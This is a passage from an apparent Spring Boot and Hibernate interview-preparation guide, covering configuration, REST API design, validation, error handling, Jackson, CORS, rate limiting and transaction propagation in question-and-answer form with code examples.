- For `@Async`, a single `TaskExecutor`/`Executor` bean named `taskExecutor` is used, or implement `AsyncConfigurer`; with multiple executors, name the one in `@Async("ioPool")`.
- Auto-config ordering is declared with `@AutoConfiguration(before/after)`, not `@Order`.
- Tune `spring.task.execution.pool.*` properties for the default.

FOLLOW-UP TRAPS

- **Does `@Async` work without `@EnableAsync`?** Boot auto-configures async via `TaskExecutionAutoConfiguration`, but `@EnableAsync` is still required to turn on the annotation processing.
- **What is the default queue capacity?** Unbounded, so the pool never grows past core size; set `queue-capacity` deliberately.

#autoconfiguration #async #ordering

Q22 **What happens if two jars on the classpath both provide `application.yml`? How do you keep config predictable?** INTERMEDIATE

Only the first `application.yml` found on the classpath root is used (typically your own app's, since it comes first); a library's file of the same name is shadowed, not merged. Libraries should not ship `application.yml`; use `spring.config.import`, defaults via `@ConfigurationProperties` defaults, or `META-INF/` properties.

- Use distinctly named files in libraries and have users import them.
- Check effective values at `/actuator/configprops` and `/actuator/env`, which show which property source supplies each value.

FOLLOW-UP TRAPS

- **Would `application-<name>.yml` from a library activate?** Only if that profile is active, so library profiles can collide.
- **Is `classpath*:` used for the default?** No, the default location is the first match.

#classpath #config #pitfalls

Q23 **How do you externalize and rotate a database password without restarting the application?** ADVANCED

Spring Boot properties are read at startup, so changing a file does nothing for an already-built `DataSource`. Options: restart via rolling deploy (simplest and safest), Spring Cloud `@RefreshScope` plus a rebuilt datasource, or an IAM/Vault dynamic credential mechanism that supplies credentials per connection.

- HikariCP can update `username` / `password` via `HikariConfigMXBean` for new connections, but existing connections stay authenticated until recycled; set `maxLifetime` below the rotation window.
- Overlap old and new credentials during rotation to avoid failed in-flight connections.

FOLLOW-UP TRAPS

- **Does `@RefreshScope` refresh `@ConfigurationProperties` beans?** Yes, they are rebound on refresh, but not singleton collaborators that cached values.
- **Does actuator `/refresh` exist by default?** Only with Spring Cloud Context.

#config #secrets #hikari

Q24 **Why would a Boot app behind a load balancer generate `http://` redirect URLs or wrong client IPs, and how do you fix it?** INTERMEDIATE

TLS terminates at the proxy, so the app sees plain HTTP and the proxy's IP. Enable forwarded header handling with `server.forward-headers-strategy=native` (container support, recommended) or `framework` (`ForwardedHeaderFilter`).

- Trust only headers from your proxy; otherwise clients can spoof `X-Forwarded-For`.
- On Kubernetes/Cloud Foundry platforms Boot enables it automatically.
- Tomcat `RemoteIpValve` settings (`server.tomcat.remoteip.*`) fine-tune trusted proxies.

FOLLOW-UP TRAPS

- **Which header does `native` use?** Both `Forwarded` and `X-Forwarded-*`, depending on the container.
- **Does Spring Security's `redirect` use it?** Yes, via `request.getScheme()` after forward handling.

#proxy #forwarded-headers #config

Q25 **Explain `@SpringBootApplication` and what changes if you add your own `@ComponentScan` to the main class.** BASIC

`@SpringBootApplication` = `@SpringBootConfiguration` + `@EnableAutoConfiguration` + `@ComponentScan` with `TypeExcludeFilter` and `AutoConfigurationExcludeFilter` filters. Adding your own `@ComponentScan`

on the same class overrides the default scan, so the default filters and the "main package" base are lost unless you restate them.

- Overriding `scanBasePackages` without listing the main package drops your own classes.
- Test slices (`@WebMvcTest`) rely on `TypeExcludeFilter`; a custom scan without it pulls in every `@Service` and `@Repository`.

FOLLOW-UP TRAPS

- **Why does `@WebMvcTest` suddenly load unrelated beans?** A plain `@ComponentScan` on the main class removed the slice filter.
- **How does `@SpringBootTest` find the configuration?** It searches upward from the test package for `@SpringBootConfiguration`.

#springbootapplication #component-scan

Q26 Production startup logs "HikariPool-1 - Exception during pool initialization" yet the app starts. When is that tolerable?

ADVANCED

Hikari's `initializationFailTimeout` defaults to 1 ms, which fails fast: the exception aborts the context. If the app continues, either the datasource is lazy, `spring.datasource.hikari.initialization-fail-timeout` is set negative (skip), or the failing pool is not the one that matters.

- Fail-fast is usually right behaviour: the orchestrator restarts the pod when the DB is unreachable.
- A background retry is acceptable for non-critical datasources; protect with readiness health indicators.
- JPA's `hibernate.temp.use_jdbc_metadata_defaults=false` avoids DB contact at boot but defers failures.

FOLLOW-UP TRAPS

- **Does readiness automatically include the DB?** No, not unless you add it to the group.
- **Does Flyway run before JPA?** Yes, Boot orders `FlywayMigrationInitializer` before `EntityManagerFactory`.

#hikari #startup #resilience

SPRING & HIBERNATE · CHAPTER 3

REST API Design, Validation & ControllerAdvice

Resource design, status codes, pagination, idempotency, versioning, Bean Validation, ProblemDetail, exception handler ordering, DTOs, Jackson pitfalls, file upload, CORS, rate limiting and async/WebClient scenarios.

26 questions **7** basic **11** intermediate **8** advanced

Scenarios

Q1 Design the endpoints for orders and their line items. What do the URLs and verbs look like? BASIC

Use nouns, plural collections, and HTTP verbs for actions; nest only one level for true containment.

- `POST /orders` creates (201 + `Location: /orders/42`), `GET /orders/42`, `PUT /orders/42` (full replace), `PATCH /orders/42` (partial), `DELETE /orders/42`.
- `GET /orders/42/items` for line items; use `/items/{id}` directly when items have globally unique ids.
- Non-CRUD actions are modelled as sub-resources or state changes: `POST /orders/42/cancellation`, not `POST /cancelOrder`.

FOLLOW-UP TRAPS

- **PUT versus PATCH?** PUT replaces the representation and is idempotent; PATCH applies a partial change and is not guaranteed idempotent.
- **Is a deep `/a/1/b/2/c/3` URL good?** No, it couples clients to the hierarchy; expose resources by their own ids.

#rest #resource-design

Q2 Which status code do you return for: created, no body after delete, validation failure, not found, duplicate, unauthenticated, forbidden, and downstream timeout? BASIC

201 Created (with `Location`), 204 No Content, 400 (malformed/validation; 422 if you distinguish semantic errors), 404, 409 Conflict, 401, 403, and 504 (or 502/503 depending on cause).

- 401 means "who are you?" (missing/invalid credentials); 403 means "I know you, but no".
- Return 404 instead of 403 when revealing existence of a resource is itself a leak.
- 429 Too Many Requests with `Retry-After` for rate limiting; 412/428 for conditional-request failures with ETag.

FOLLOW-UP TRAPS

- **Is returning 200 with `{"error": ...}` acceptable?** No, it breaks clients, caches, and monitoring that rely on status codes.
- **DELETE for a missing resource - 404 or 204?** Either is defensible; 204 keeps DELETE idempotent from the client's view.

#status-codes

Q3 A client pages through `GET /orders?page=500&size=20` and the DB is slow; new orders also cause duplicates between pages. What do you change? INTERMEDIATE

Offset pagination does `OFFSET 10000`, scanning and discarding rows, and shifting data between requests causes duplicates and skips. Use keyset (cursor) pagination: filter by the last seen sort key.

```
SELECT * FROM orders
WHERE (created_at, id) < (:lastCreatedAt, :lastId)
ORDER BY created_at DESC, id DESC
LIMIT 20;
```

- Return an opaque cursor token and a `hasNext` flag; cap `size` (e.g., max 100).
- Spring Data offers `Pageable` (with a count query) and `Slice` (skips the count), and since Spring Data 3.1 `ScrollPosition` / `Window` for keyset scrolling.
- A deterministic unique tie-breaker (`id`) in the sort is essential.

FOLLOW-UP TRAPS

- **Why is `Page<T>` sometimes slower than `Slice<T>`?** `Page` runs an extra `COUNT(*)` query.
- **Can the client jump to page 50 with keyset?** No, that is the trade-off.

#pagination #keyset #performance

Q4 A mobile client retries `POST /payments` after a timeout and the user is charged twice. How do you make it safe? ADVANCED

Require an `Idempotency-Key` header, store it with the request fingerprint and result under a unique constraint, and return the stored response on replay.

- Insert `(key, request_hash, status)` first; a duplicate key violates the unique index, so concurrent retries serialize on the DB constraint rather than on application checks.
- Same key with a different body should return 409/422.
- Store the response for a bounded TTL; mark in-progress keys to return 409 or wait.
- Naturally idempotent methods (GET, PUT, DELETE) need no key; POST and PATCH do.

FOLLOW-UP TRAPS

- **Is a check-then-insert in code enough?** No, two concurrent requests both pass the check; rely on a unique constraint.
- **Does an HTTP retry from a proxy matter?** Yes, intermediaries retry too, so idempotency must be server-side.

#idempotency #retries

Q5 How would you version a public API, and what are the trade-offs between URI, header and media-type versioning? INTERMEDIATE

URI versioning (`/v1/orders`) is the simplest, cache- and debug-friendly, and the most common. Header (`X-API-Version`) or media type (`application/vnd.acme.v2+json`) keeps URLs stable but is harder to test in a browser and to route at gateways.

- Prefer additive, backward-compatible changes (new optional fields) to avoid new versions at all; clients must ignore unknown fields.
- Spring Framework 7 / Boot 4 adds first-class API versioning; in Boot 3 use `@RequestMapping(headers=...)`, `produces`, or path prefixes.
- Plan deprecation: `Deprecation` and `Sunset` headers, usage metrics per version.

FOLLOW-UP TRAPS

- **Is renaming a JSON field a breaking change?** Yes, as is changing a type or removing a field.
- **Does URI versioning violate REST?** Purists say the resource identity changes; in practice it is accepted.

#versioning #api-design

Q6 `@Valid` on a `@RequestBody` DTO does nothing and invalid input reaches the service. Why? BASIC

Usual causes: `spring-boot-starter-validation` is missing (Boot 2.3+ no longer includes it in `starter-web`), `@Valid` is absent on the parameter, or the constraint annotations come from the wrong package (`javax.validation` instead of `jakarta.validation` in Boot 3).

```
record CreateUser(@NotBlank String name, @Email String email, @Min(18) int age) {}

@PostMapping("/users")
ResponseEntity<?> create(@Valid @RequestBody CreateUser body) { ... }
```

Failure raises `MethodArgumentNotValidException` -> 400 by default.

FOLLOW-UP TRAPS

- **Why are constraints on a `@PathVariable` ignored?** You need `@Validated` on the controller class, which raises `ConstraintViolationException` (or, in Spring 6.1+, built-in method validation raising `HandlerMethodValidationException`).
- **`@NotNull` vs `@NotEmpty` vs `@NotBlank`?** Not null; not null and size > 0; not null with at least one non-whitespace char (strings only).

#validation #valid

Q7 Validation of nested objects and collections does not run. What is missing? INTERMEDIATE

Validation does not cascade automatically. Put `@Valid` on the nested field, and for collection elements use `@Valid` on the field or type-use constraints such as `List<@NotBlank String>`.

```
record OrderRequest(@NotEmpty List<@Valid Item> items, @Valid Address shipping) {}
```

Without `@Valid` on `shipping`, constraints inside `Address` are ignored. Cascade also does not apply to `Map` keys unless annotated.

FOLLOW-UP TRAPS

- **Are `@NotNull` on a collection and on its elements the same?** No; one checks the list, the other each element.
- **Does validation run on entities at persist?** Hibernate triggers Bean Validation on `PrePersist` / `PreUpdate` if a provider is present, throwing `ConstraintViolationException`.

#validation #cascade

Q8 Create and update share a DTO, but `id` must be absent on create and present on update. How do you model this? INTERMEDIATE

Use validation groups or, more simply, separate DTOs. With groups, constraints name the group and the controller uses `@Validated(OnCreate.class)`.

```
interface OnCreate {}  interface OnUpdate {}
class UserDto {
    @Null(groups = OnCreate.class) @NotNull(groups = OnUpdate.class) Long id;
    @NotBlank(groups = {OnCreate.class, OnUpdate.class}) String name;
}
@PostMapping ... create(@Validated(OnCreate.class) @RequestBody UserDto d)
```

Note `@Valid` cannot select groups; only Spring's `@Validated` can. Constraints without a group belong to `Default` and are not checked when only a custom group is requested.

FOLLOW-UP TRAPS

- **Why did my `@NotBlank` not run with `@Validated(OnCreate.class)`?** It is in `Default`, not `OnCreate`.
- **Preferred alternative?** Separate `CreateUserRequest` / `UpdateUserRequest` records.

#validation #groups

Q9 Write a custom constraint that checks a username is unique. What are the pitfalls? ADVANCED

Create an annotation plus a `ConstraintValidator`; Spring injects beans into validators.

```
@Constraint(validatedBy = UniqueUsernameValidator.class)
@Target(FIELD) @Retention(RUNTIME)
@interface UniqueUsername { String message() default "taken"; Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {}; }

class UniqueUsernameValidator implements ConstraintValidator<UniqueUsername, String> {
    private final UserRepository repo;
    UniqueUsernameValidator(UserRepository repo) { this.repo = repo; }
    public boolean isValid(String v, ConstraintValidatorContext c) { return v == null ||
!repo.existsByUsername(v); }
}
```

Pitfalls: check-then-act is a race, so keep a DB unique constraint and map `DataIntegrityViolationException` to 409; return `true` for `null` and let `@NotNull` handle it; avoid heavy queries in validators on hot paths.

FOLLOW-UP TRAPS

- **Why does the validator fail with a null repo outside Spring?** A plain `Validation.buildDefaultValidatorFactory()` has no Spring bean factory; use Spring's `LocalValidatorFactoryBean`.
- **Where do class-level cross-field rules go?** A class-level constraint (e.g., `@PasswordsMatch`).

#validation #custom-validator

Q10 How do you return RFC 9457 errors with `ProblemDetail` in Spring Boot 3? INTERMEDIATE

Return `ProblemDetail` (or `ErrorResponse`) from handlers, or enable `spring.mvc.problemdetails.enabled=true` so Spring MVC's standard exceptions render as `application/problem+json`.

```
@RestControllerAdvice
class ApiErrors extends ResponseEntityExceptionHandler {
    @ExceptionHandler(OrderNotFound.class)
    ProblemDetail notFound(OrderNotFound e) {
        ProblemDetail pd = ProblemDetail.forStatusAndDetail(HttpStatus.NOT_FOUND,
e.getMessage());
        pd.setTitle("Order not found");
        pd.setProperty("orderId", e.getId());
        return pd;
    }
}
```

Extending `ResponseEntityExceptionHandler` handles all Spring MVC exceptions uniformly. Never leak stack traces or SQL text in `detail`.

FOLLOW-UP TRAPS

- **Is the property flag needed if you extend `ResponseEntityExceptionHandler`?** No; the base class already produces `ProblemDetail`.
- **Content type?** `application/problem+json`.

#problemdetail #error-handling

Q11 Multiple `@ExceptionHandler` methods exist for `Exception`, `RuntimeException` and a custom exception. Which runs, and how do multiple `@ControllerAdvice` classes order?

ADVANCED

Within one advice, the handler with the closest exception type (smallest inheritance distance) wins. Across advice beans, `@Order` / `Ordered` decides: the first advice (lowest value) that has a matching handler wins, even if a later advice has a closer match.

- Without `@Order`, advice order is undefined; always set it when advice classes overlap.
- Controller-local `@ExceptionHandler` methods take precedence over any advice.
- Use `basePackages` or `annotations` on `@ControllerAdvice` to narrow scope.
- A catch-all `@ExceptionHandler(Exception.class)` should be in the lowest-precedence advice (`@Order(Ordered.LOWEST_PRECEDENCE)`).

FOLLOW-UP TRAPS

- **Why does my specific handler lose to a generic advice?** Generic advice has higher precedence; handler distance is compared only within an advice.
- **Do exceptions from filters reach `@ControllerAdvice`?** No, they occur before the `DispatcherServlet`; use a `HandlerExceptionResolver` or an error page.

#controlleradvice #ordering

Q12 An exception thrown in a servlet `Filter` returns an HTML error page rather than your JSON. Why?

ADVANCED

`@ControllerAdvice` only handles exceptions raised in the `DispatcherServlet` handler chain. A filter's exception propagates to the container, which forwards to `/error` handled by `BasicErrorController`, producing Boot's whitelabel/JSON error body.

Options: catch and write the response in the filter, delegate to `HandlerExceptionResolver` (`resolver.resolveException(req, res, null, ex)`) so advice applies, or customize `ErrorAttributes`. In Spring Security use `AuthenticationEntryPoint` and `AccessDeniedHandler` for 401/403.

FOLLOW-UP TRAPS

- **Why does Boot expose `server.error.include-stacktrace`?** It controls detail in `/error`; keep it `never` in production.
- **Can an advice handle 404 for unmapped URLs?** Only with `spring.mvc.throw-exception-if-no-handler-found` or Boot 3.2+ default behaviour raising `NoResourceFoundException`.

#filters #error-handling #controlleradvice

Q13 Why return DTOs instead of JPA entities from controllers? Give concrete failures.

BASIC

Entities expose your schema, couple the API to persistence, and trigger runtime problems when serialized.

- Lazy associations cause `LazyInitializationException` (or N+1 queries) during JSON serialization.
- Bidirectional relations create infinite recursion (`StackOverflowError`).
- Mass assignment: binding a request into an entity lets clients set `role`, `id`, or `version`.
- Internal fields (password hash) leak; schema changes break clients.
- Use records plus a mapper (MapStruct) or projections.

FOLLOW-UP TRAPS

- **Does `@JsonIgnore` fully solve it?** It hides fields but keeps coupling and cannot express different views per endpoint.
- **Is `open-in-view` the answer?** `spring.jpa.open-in-view=true` hides lazy errors by holding a connection through rendering, which hurts scalability; disable it.

#dto #entity #jpa

Q14 Your API fails with "Unrecognized field" or silently drops fields. How do Jackson defaults in Boot behave?

INTERMEDIATE

Plain Jackson fails on unknown properties, but Spring Boot sets `FAIL_ON_UNKNOWN_PROPERTIES=false`, so unknown fields are silently ignored (typos go unnoticed). Enable `spring.jackson.deserialization.fail-on-unknown-properties=true` for strict public APIs.

- Primitive `int` fields default to `0` when missing; use `Integer` or `@NotNull` wrapper to detect absence.
- Records deserialize via the canonical constructor (Jackson 2.12+).
- Missing `-parameters`/no default constructor on classes causes "no Creators" errors.
- `@JsonProperty(access = WRITE_ONLY)` for password inputs.

FOLLOW-UP TRAPS

- **How do you distinguish "field absent" from "null" in PATCH?** Use `JsonNullable`, `Optional<T>` fields, or JSON Merge Patch handling with a map.
- **Does `@Valid` catch unknown fields?** No, that is a Jackson concern.

#jackson #deserialization

Q15 Dates serialize as arrays like `[2026,10,4]` or timestamps. How do you get ISO-8601 strings and avoid timezone bugs?

INTERMEDIATE

Use Boot's auto-configured `ObjectMapper`, which registers `JavaTimeModule` and sets `WRITE_DATES_AS_TIMESTAMPS=false`. If you built your own mapper, register `JavaTimeModule` and disable that feature.

- Prefer `Instant`/`OffsetDateTime` (UTC) on the wire; `LocalDateTime` has no zone and is ambiguous across clients.
- `spring.jackson.time-zone=UTC` affects `java.util.Date`, not `Instant`.
- Keep the JVM and DB in UTC (`hibernate.jdbc.time_zone=UTC`).

FOLLOW-UP TRAPS

- **Why does a `LocalDate` query parameter fail?** Use `@DateTimeFormat(iso = ISO.DATE)` or a registered converter.
- **Does `@JsonFormat` override global config?** Yes, per field.

#jackson #java-time #timezone

Q16 What happens when a client uploads a 50 MB file and the app returns 500 or hangs? How do you configure and design uploads?

INTERMEDIATE

Boot limits multipart requests to 1 MB per file and 10 MB per request by default (`spring.servlet.multipart.max-file-size`/`max-request-size`); exceeding raises `MaxUploadSizeExceededException` (map to 413). Raise limits deliberately and also enforce a gateway/Tomcat limit.

- Stream to storage (`MultipartFile.getInputStream()`) instead of `getBytes()` to avoid loading the file into heap.
- For large files, use pre-signed S3 URLs so bytes bypass your app.
- Validate content type by sniffing bytes, not the client-provided `Content-Type` or filename; generate your own storage name to prevent path traversal (`../`).

FOLLOW-UP TRAPS

- **Where do temp files go?** The container temp directory; set `spring.servlet.multipart.location` and monitor disk.
- **Does `@Valid` check file size?** No; use size config or a custom validator.

#file-upload #multipart

Q17 The browser shows a CORS error but Postman works. What do you check and how do you configure CORS in Spring? BASIC

CORS is enforced only by browsers; the server must answer the preflight `OPTIONS` request and send `Access-Control-Allow-Origin`. Configure with `@CrossOrigin`, a `WebMvcConfigurer.addCorsMappings`, or, when Spring Security is present, `http.cors(Customizer.withDefaults())` with a `CorsConfigurationSource` bean.

```
@Bean
CorsConfigurationSource cors() {
    var c = new CorsConfiguration();
    c.setAllowedOrigins(List.of("https://app.example.com"));
    c.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE"));
    c.setAllowCredentials(true);
    var s = new UrlBasedCorsConfigurationSource();
    s.registerCorsConfiguration("/**", c);
    return s;
}
```

FOLLOW-UP TRAPS

- **Can I use `*` with `allowCredentials(true)`?** No; list explicit origins (or `allowedOriginPatterns`).
- **Why does CORS fail only with Security enabled?** The security filter rejects the unauthenticated preflight before MVC CORS runs unless `cors()` is enabled.

#cors #security

Q18 Design rate limiting for a public API: where do you enforce it and which algorithm? ADVANCED

Prefer enforcement at the edge (API gateway, WAF, NGINX) for coarse protection, plus application-level limits per API key or user for fairness. Token bucket allows bursts at a steady refill rate; fixed window is simplest but allows 2x bursts at boundaries; sliding window is smoother.

- Multi-instance apps need a shared store (Redis with Lua/Bucket4j + Redis) or limits are per node.
- Respond 429 with `Retry-After` and `X-RateLimit-*` headers.
- Resilience4j `RateLimiter` limits outgoing calls or in-process throughput, not distributed per-client quotas.
- Implement as a `OncePerRequestFilter` / `HandlerInterceptor` keyed on principal, falling back to IP (beware proxies; use trusted forwarded headers).

FOLLOW-UP TRAPS

- **Is limiting by IP enough?** No, NAT shares IPs and attackers rotate them.
- **Does a local in-memory limiter work behind 5 replicas?** Each replica allows the full quota, so the effective limit is 5x.

#rate-limiting #resilience

Q19 A controller returns `Callable`, `DeferredResult`, or `CompletableFuture`. What changes for the servlet thread and for errors? ADVANCED

The container thread is released while the work runs on another executor, then the result is dispatched back to complete the response. This helps when waiting on slow I/O, but the work still occupies some thread unless the downstream call is truly non-blocking.

- Async dispatch re-runs filters; security context is propagated by Spring Security's async support.
- Default executor for MVC async is a simple non-pooling `SimpleAsyncTaskExecutor` unless Boot's `applicationTaskExecutor` is used; configure `spring.mvc.async.request-timeout`.
- Timeouts raise `AsyncRequestTimeoutException` (503).
- With virtual threads (`spring.threads.virtual.enabled=true`, Java 21), plain blocking controllers are often simpler.

FOLLOW-UP TRAPS

- **Does returning `CompletableFuture` make the call non-blocking?** Only if the work inside is non-blocking.
- **Does `@Transactional` span the async hop?** No, the transaction is thread-bound.

#async #mvc #threads

Q20 `WebClient` calls from a servlet app sometimes hang or block event-loop threads. What are the usual mistakes? ADVANCED

Mistakes: calling `.block()` inside a reactive pipeline on a Netty event-loop thread (throws `IllegalStateException: block()/blockFirst()/blockLast() are blocking`), no timeouts, and unbounded connection pool wait.

```
WebClient client = builder
    .clientConnector(new ReactorClientHttpConnector(
        HttpClient.create().responseTimeout(Duration.ofSeconds(3))))
    .build();

Order o = client.get().uri("/orders/{id}", id)
    .retrieve().bodyToMono(Order.class)
    .timeout(Duration.ofSeconds(5)).block(); // fine on a servlet thread
```

- Set connect/response/read timeouts and pool limits (`ConnectionProvider`).
- Use `onStatus` to map 4xx/5xx to domain exceptions; `retrieve()` throws `WebClientResponseException` by default.
- Spring 6.1 / Boot 3.2 added `RestClient`, a synchronous fluent client that avoids WebFlux for blocking apps.

FOLLOW-UP TRAPS

- **Is `.block()` ever acceptable?** Yes, on a servlet or virtual thread at the application boundary, never on event-loop threads.
- **Is retry safe by default?** Only for idempotent calls and with backoff/jitter.

#webclient #reactive #timeouts

Q21 How do you implement optimistic concurrency over REST so two users do not overwrite each other? INTERMEDIATE

Return an `ETag` (often the entity's `@Version`) on GET, require `If-Match` on PUT/PATCH, and respond 412 Precondition Failed on mismatch (or 428 if the header is missing).

- JPA `@Version` makes the update fail with `ObjectOptimisticLockingFailureException` if the row changed; map it to 409/412.
- `ShallowEtagHeaderFilter` computes ETag from the body for caching (`If-None-Match` -> 304) but does not save the work of computing the response and is not a concurrency control.

FOLLOW-UP TRAPS

- **Is `If-None-Match` the same as `If-Match`?** No: `If-None-Match` is for cache validation on GET, `If-Match` guards writes.
- **Does `@Version` increment on read?** No, only on update.

#etag #concurrency #http

Q22 A search endpoint accepts `?sort=` and `?filter=` and a security review flags injection and data exposure. What to do? ADVANCED

Whitelist sortable and filterable fields and map them to known columns; never concatenate request values into JPQL/SQL or accept arbitrary property paths in `Sort`.

- Spring Data `Pageable` with `sort=password,asc` happily sorts by any property unless you validate it; this leaks info via ordering.
- Use bind parameters, Specifications/QueryDSL with enum-based criteria, and cap page size.
- Authorize per row (tenant/owner predicate in the query), not just per endpoint.

> **FOLLOW-UP TRAPS**
> - **Are JPQL named parameters safe?** Yes, but `ORDER BY` fragments cannot be parameterized; whitelist them.
> - **Why cap `size`?** `size=1000000` is a denial-of-service on memory and DB.

#security #sorting #injection

Q23 **How do you design a long-running operation (report generation of 10 minutes) over HTTP?** INTERMEDIATE

Accept the request, return `202 Accepted` with a `Location` header pointing at a status resource, run the work asynchronously (queue/worker), and let the client poll `GET /reports/{id}` (status, progress, result URL) or receive a webhook.

- Do not hold the HTTP connection; gateways and load balancers time out at 30-60 s.
- Persist job state so it survives restarts; make the job idempotent and resumable.
- Return `303 See Other` to the result when complete, or `Retry-After` while pending.

> **FOLLOW-UP TRAPS**
> - **Is `@Async` enough for durability?** No, in-memory tasks are lost on restart; use a queue or persistent job table.
> - **Is SSE/WebSocket better?** For live progress, yes, but polling is simplest and robust.

#async-api #202 #design

Q24 **Spring returns 415 or 406 for requests that look right. What are the content negotiation causes?** BASIC

415 Unsupported Media Type: the `Content-Type` of the request is not accepted by `consumes` or no `HttpMessageConverter` can read it (for example, sending form data to `@RequestBody` JSON, or a missing `Content-Type: application/json`). 406 Not Acceptable: the `Accept` header cannot be satisfied by `produces`.

- `@RequestBody` needs a JSON converter (Jackson on the classpath) and a header matching.
- `@RequestParam` / `@ModelAttribute` bind form data, not JSON.
- Suffix/path-extension negotiation is removed in Spring 6.

> **FOLLOW-UP TRAPS**
> - **Why is `/users.json` 404 in Boot 3?** Path-extension matching was removed.
> - **Trailing slash `/users/`?** Spring 6 no longer matches it to `/users` by default.

#content-negotiation #mvc

Q25 **How do you test validation and error responses of a controller quickly?** BASIC

Use `@WebMvcTest(UserController.class)` with `MockMvc`, mocking the service; it loads only web-layer beans, including `@ControllerAdvice`.

```
mvc.perform(post("/users").contentType(APPLICATION_JSON).content("{\"name\":\"\"}"))
   .andExpect(status().isBadRequest())
   .andExpect(jsonPath("$.title").value("Bad Request"));
```

Expected: 400 with a problem body when `name` is blank. Use `@MockBean` (or `@MockitoBean` in 6.2+) for services, and `@Import` custom advice if needed.

FOLLOW-UP TRAPS

- **Why is security returning 401 in the test?** Spring Security is active in the slice; use `@WithMockUser` or `.with(csrf())` for POST.
- **Does `@WebMvcTest` need a DB?** No, no JPA beans are loaded.

#testing #webmvctest

Q26 **Clients send the same request with extra whitespace, and you get duplicate users with different email case. How do you normalize and validate?** INTERMEDIATE

Normalize at the boundary (trim, lowercase email) before validation and uniqueness checks, and enforce the invariant in the database with a unique index on the normalized value (or a case-insensitive collation / `citext`).

- Jackson: custom deserializer or a compact canonical constructor in a record.
- Validators cannot be the sole guarantee: concurrent requests race, so catch `DataIntegrityViolationException` and return 409.
- Apply consistent Unicode normalization (NFKC) for usernames to avoid lookalike duplicates.

FOLLOW-UP TRAPS

- **Where is lowercase applied, DTO or service?** Pick one canonical place and test it; DB constraints back it up.
- **Is `equalsIgnoreCase` safe for all locales?** Use `toLowerCase(Locale.ROOT)` to avoid the Turkish-I bug.

#validation #normalization #data-integrity

SPRING & HIBERNATE · CHAPTER 4

Transactions & Propagation

How @Transactional works through proxies, rollback rules, propagation and isolation outcomes, readOnly and timeouts, async and event interplay, synchronization callbacks, distributed consistency with the outbox pattern and LazyInitializationException.

27 questions **6** basic **11** intermediate **10** advanced

Scenarios

Q1 A `@Transactional` method is `private` or `final`, or the class is instantiated with `new`. Is a transaction started? BASIC

No. Declarative transactions are applied by a proxy around a Spring bean. The proxy only intercepts calls arriving through it to methods it can override, so `new`-created objects, `private`, and `final` methods (CGLIB cannot override them) get no transaction and fail silently.

- Annotate public methods on beans; since Spring 6, protected and package-private methods are also supported with class-based (CGLIB) proxies.
- Check with `TransactionSynchronizationManager.isActualTransactionActive()` or by logging `org.springframework.transaction` at DEBUG.
- Put `@Transactional` on the service layer, not controllers or repository interfaces' callers' internals.

FOLLOW-UP TRAPS

- **Does `@Transactional` on an interface method work?** With JDK proxies yes; with CGLIB class proxies it is honoured in current Spring, but annotate the class to be safe.
- **Does a Spring Data repository need `@Transactional`?** Its CRUD methods are already transactional (`SimpleJpaRepository`).

#proxy #transactional-rules

Q2 A method calls `this.saveAudit()` which is `@Transactional(REQUIRES_NEW)`. The audit rolls back with the caller. Why? INTERMEDIATE

Self-invocation bypasses the proxy, so the `REQUIRES_NEW` annotation is never evaluated; `saveAudit()` runs inside the caller's transaction and rolls back with it.

Fix by moving it to a separate bean:

```
@Service
class AuditService {
    @Transactional(propagation = Propagation.REQUIRES_NEW)
    public void save(AuditEvent e) { repo.save(e); }
}
```

Alternatives: self-injection, `TransactionTemplate` inside the method, or AspectJ mode.

FOLLOW-UP TRAPS

- **Does `TransactionTemplate` need a proxy?** No, it is programmatic and works anywhere.
- **Does the audit commit if the outer later throws?** Yes, with a real separate bean the inner transaction commits independently.

#self-invocation #requires-new

Q3 **A service method throws `IOException` (checked) and the data is still committed. Why, and what is the default rollback rule?** BASIC

By default Spring rolls back only on unchecked exceptions (`RuntimeException` and `Error`). A checked exception commits whatever was flushed. Declare `rollbackFor = Exception.class` (or specific types) to roll back on checked ones.

```
@Transactional(rollbackFor = IOException.class)
public void importFile(Path p) throws IOException { ... }
```

This rule mirrors EJB convention. `noRollbackFor` does the inverse.

FOLLOW-UP TRAPS

- **Does the rule depend on where the exception is caught?** Yes, if the exception never leaves the transactional method (swallowed in a try/catch), no rollback happens.
- **Is `rollbackFor = Exception.class` a good global default?** Many teams adopt it; just be consistent.

#rollback #checked-exceptions

Q4 **You catch an exception thrown by an inner `@Transactional` bean call and continue. The outer commit throws `UnexpectedRollbackException`. Why?** ADVANCED

With `REQUIRED`, inner and outer share one physical transaction. When the inner proxy sees a runtime exception, it marks the shared transaction rollback-only. Catching the exception outside does not clear the mark, so the outer commit attempt becomes a rollback and Spring reports `UnexpectedRollbackException: Transaction silently rolled back because it has been marked as rollback-only`.

Solutions: use `REQUIRES_NEW` (or `NESTED` with savepoints) for the part that may fail independently, or avoid calling a transactional bean that throws when you intend to recover.

FOLLOW-UP TRAPS

- **Does it also happen when the inner method catches its own exception?** No, the proxy never sees the exception, so no mark.
- **Does the mark appear without an exception?** Yes, `setRollbackOnly()` explicitly.

#rollback-only #propagation-required

Q5 **Compare REQUIRED, REQUIRES_NEW, NESTED, SUPPORTS, MANDATORY, NOT_SUPPORTED and NEVER with a short outcome table.** BASIC

Behaviour when a transaction already exists / does not:

- `REQUIRED` (default): join / create new.
- `REQUIRES_NEW`: suspend current and create new / create new.
- `NESTED`: savepoint within current / create new (like REQUIRED).
- `SUPPORTS`: join / run non-transactionally.
- `MANDATORY`: join / throw `IllegalTransactionStateException`.
- `NOT_SUPPORTED`: suspend and run non-transactionally / non-transactionally.
- `NEVER`: throw / non-transactionally.

FOLLOW-UP TRAPS

- **Does `SUPPORTS` give a transaction-bound `EntityManager`?** Not necessarily; without a transaction there is no shared persistence context.
- **Is propagation honoured when called via `this`?** No, proxy bypass.

#propagation

Q6 `placeOrder()` (REQUIRED) calls `sendEmail()` (REQUIRES_NEW) which fails, and `placeOrder()` then fails. What is committed?

INTERMEDIATE

`sendEmail()`'s transaction is independent. If it already committed before the later failure, its changes persist while `placeOrder()` rolls back; if it throws, only its own transaction rolls back, and the exception propagating into `placeOrder()` rolls the outer one back too (unless caught).

- `REQUIRES_NEW` suspends the outer transaction and uses a second connection from the pool.
- Inner commits are not undone by an outer rollback, so use it only for facts that must persist (audit, failure log).

FOLLOW-UP TRAPS

- **What is the pool risk?** Each nested `REQUIRES_NEW` holds two connections; with a pool of N and N concurrent callers it can deadlock waiting for a connection.
- **Do the two transactions see each other's uncommitted data?** No, they are isolated from each other.

